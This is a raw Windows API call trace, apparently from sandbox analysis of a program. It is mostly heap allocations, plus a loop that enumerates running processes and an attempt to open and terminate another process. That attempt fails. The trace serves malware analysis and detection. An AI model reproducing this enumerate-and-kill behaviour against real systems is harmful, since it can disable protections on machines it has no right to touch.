	[0063.752] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28776a0) returned 1
	[0063.753] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x20) returned 0x2876f18
	[0063.753] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876f18) returned 1
	[0063.753] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x2876f18
	[0063.753] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876f18) returned 1
	[0063.753] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x2877080
	[0063.753] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877080) returned 1
	[0063.753] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x2876fb8
	[0063.753] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876fb8) returned 1
	[0063.753] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2e) returned 0x2881be8
	[0063.753] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2881be8) returned 1
	[0063.753] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x22) returned 0x2877d08
	[0063.753] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877d08) returned 1
	[0063.753] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0xe) returned 0x2879698
	[0063.753] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2879698) returned 1
	[0063.753] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x2876ec8
	[0063.753] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876ec8) returned 1
	[0063.753] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28776a0
	[0063.753] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28776a0) returned 1
	[0063.754] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0063.754] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0063.754] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0063.754] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0063.754] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0063.754] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0063.754] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x2877080
	[0063.754] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877080) returned 1
	[0063.754] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2a) returned 0x2881980
	[0063.754] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2881980) returned 1
	[0063.754] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x2876cc0
	[0063.754] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876cc0) returned 1
	[0063.754] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x2876d38
	[0063.754] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876d38) returned 1
	[0063.754] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0063.754] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0063.754] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2882158) returned 1
	[0063.754] Sleep (dwMilliseconds=0x64) 
	[0064.898] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1024) returned 0x287af68
	[0064.898] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x287af68, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x287af68, ResultLength=0x0) returned 0xc0000004
	[0064.901] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x287af68, Size=0x2048) returned 0x2882158
	[0064.901] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0064.902] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x306c) returned 0x2882158
	[0064.902] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0064.902] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x4090) returned 0x2882158
	[0064.902] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0064.902] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x50b4) returned 0x2882158
	[0064.902] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0064.903] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x60d8) returned 0x2882158
	[0064.903] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0064.903] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x70fc) returned 0x2882158
	[0064.903] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0064.903] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x8120) returned 0x2882158
	[0064.903] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0064.904] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x9144) returned 0x2882158
	[0064.904] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0064.904] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0xa168) returned 0x2882158
	[0064.904] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0064.904] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0xb18c) returned 0x2882158
	[0064.904] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0064.905] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0xc1b0) returned 0x2882158
	[0064.905] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0064.905] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0xd1d4) returned 0x2882158
	[0064.905] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0064.905] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0xe1f8) returned 0x2882158
	[0064.905] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0064.906] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0xf21c) returned 0x2882158
	[0064.906] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0064.906] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x10240) returned 0x2882158
	[0064.906] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0064.906] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x11264) returned 0x2882158
	[0064.906] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0064.907] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x12288) returned 0x2882158
	[0064.907] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0064.907] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x132ac) returned 0x2882158
	[0064.907] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0064.907] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x142d0) returned 0x2882158
	[0064.907] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0064.908] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x152f4) returned 0x2882158
	[0064.908] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0064.908] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x16318) returned 0x2882158
	[0064.908] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0064.909] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x1733c) returned 0x2882158
	[0064.909] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0064.909] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x18360) returned 0x2882158
	[0064.909] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0064.910] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x19384) returned 0x2882158
	[0064.910] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0064.911] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x1a3a8) returned 0x2882158
	[0064.911] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0064.911] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x1b3cc) returned 0x2882158
	[0064.911] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0064.912] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x1c3f0) returned 0x2882158
	[0064.912] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0064.912] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x1d414) returned 0x2882158
	[0064.912] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0064.913] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x1e438) returned 0x2882158
	[0064.913] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0064.913] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x1f45c) returned 0x2882158
	[0064.913] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0064.914] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x20480) returned 0x2882158
	[0064.914] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0064.914] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x214a4) returned 0x2882158
	[0064.914] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0064.915] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x224c8) returned 0x2882158
	[0064.915] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0064.915] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x234ec) returned 0x2882158
	[0064.915] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0064.916] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x24510) returned 0x2882158
	[0064.916] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0064.916] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x25534) returned 0x2882158
	[0064.917] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x25534, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0x0
	[0064.917] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2) returned 0x2866720
	[0064.918] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2866720) returned 1
	[0064.918] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0xe) returned 0x2879560
	[0064.918] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2879560) returned 1
	[0064.918] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x12) returned 0x2877520
	[0064.918] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0064.918] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14) returned 0x28776a0
	[0064.918] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28776a0) returned 1
	[0064.918] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0064.918] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0064.918] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14) returned 0x2877520
	[0064.918] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0064.918] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x2876ec8
	[0064.918] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876ec8) returned 1
	[0064.918] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x2876f18
	[0064.918] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876f18) returned 1
	[0064.918] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14) returned 0x2877520
	[0064.918] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0064.918] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0064.918] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0064.918] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x20) returned 0x2876e50
	[0064.918] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876e50) returned 1
	[0064.918] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x20) returned 0x2876ce8
	[0064.918] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876ce8) returned 1
	[0064.918] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0064.918] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0064.918] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x10) returned 0x2879560
	[0064.918] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2879560) returned 1
	[0064.918] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0064.919] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0064.919] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28775a0
	[0064.919] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28775a0) returned 1
	[0064.919] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0064.919] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0064.919] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28775a0
	[0064.919] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28775a0) returned 1
	[0064.919] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0064.919] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0064.919] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877660
	[0064.919] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877660) returned 1
	[0064.919] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877660
	[0064.919] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877660) returned 1
	[0064.919] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0064.919] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0064.919] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877660
	[0064.919] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877660) returned 1
	[0064.919] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877660
	[0064.919] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877660) returned 1
	[0064.919] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0064.919] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0064.919] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0064.919] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0064.919] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0064.919] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0064.919] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x16) returned 0x2877520
	[0064.919] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0064.919] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0064.919] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0064.920] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x2876e50
	[0064.920] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876e50) returned 1
	[0064.920] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x2876db0
	[0064.920] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876db0) returned 1
	[0064.920] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2a) returned 0x2881e88
	[0064.920] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2881e88) returned 1
	[0064.920] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x34) returned 0x286f848
	[0064.920] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x286f848) returned 1
	[0064.920] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x26) returned 0x2877df8
	[0064.920] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877df8) returned 1
	[0064.920] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x30) returned 0x2881c90
	[0064.920] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2881c90) returned 1
	[0064.920] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x28770a8
	[0064.920] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28770a8) returned 1
	[0064.920] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x24) returned 0x2877ee8
	[0064.920] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877ee8) returned 1
	[0064.920] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x28770a8
	[0064.920] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28770a8) returned 1
	[0064.920] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x10) returned 0x2879560
	[0064.920] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2879560) returned 1
	[0064.920] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x2876ec8
	[0064.920] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876ec8) returned 1
	[0064.920] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2e) returned 0x2882080
	[0064.920] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2882080) returned 1
	[0064.920] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x26) returned 0x2878188
	[0064.920] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2878188) returned 1
	[0064.920] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x2876d38
	[0064.921] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876d38) returned 1
	[0064.921] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x28770d0
	[0064.921] NtOpenProcess (in: ProcessHandle=0x42afe50, DesiredAccess=0x1, ObjectAttributes=0x42afe30*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x42afe48*(UniqueProcess=0x370, UniqueThread=0x0) | out: ProcessHandle=0x42afe50*=0x334) returned 0x0
	[0064.921] NtTerminateProcess (ProcessHandle=0x334, ExitStatus=0x0) returned 0xc000010a
	[0064.921] NtClose (Handle=0x334) returned 0x0
	[0064.921] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28770d0) returned 1
	[0064.921] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x10) returned 0x2879698
	[0064.921] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2879698) returned 1
	[0064.921] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2c) returned 0x2881c90
	[0064.921] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2881c90) returned 1
	[0064.921] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x48) returned 0x2862518
	[0064.921] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2862518) returned 1
	[0064.921] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2e) returned 0x2881d38
	[0064.921] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2881d38) returned 1
	[0064.921] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2c) returned 0x2881d70
	[0064.921] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2881d70) returned 1
	[0064.921] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x20) returned 0x28770a8
	[0064.921] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28770a8) returned 1
	[0064.921] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28775a0
	[0064.921] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28775a0) returned 1
	[0064.921] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0064.921] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0064.922] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x38) returned 0x286f988
	[0064.922] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x286f988) returned 1
	[0064.922] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x42) returned 0x2862748
	[0064.922] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2862748) returned 1
	[0064.922] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x32) returned 0x286fc08
	[0064.922] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x286fc08) returned 1
	[0064.922] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2c) returned 0x2881ef8
	[0064.922] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2881ef8) returned 1
	[0064.922] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2a) returned 0x2882048
	[0064.922] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2882048) returned 1
	[0064.922] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877660
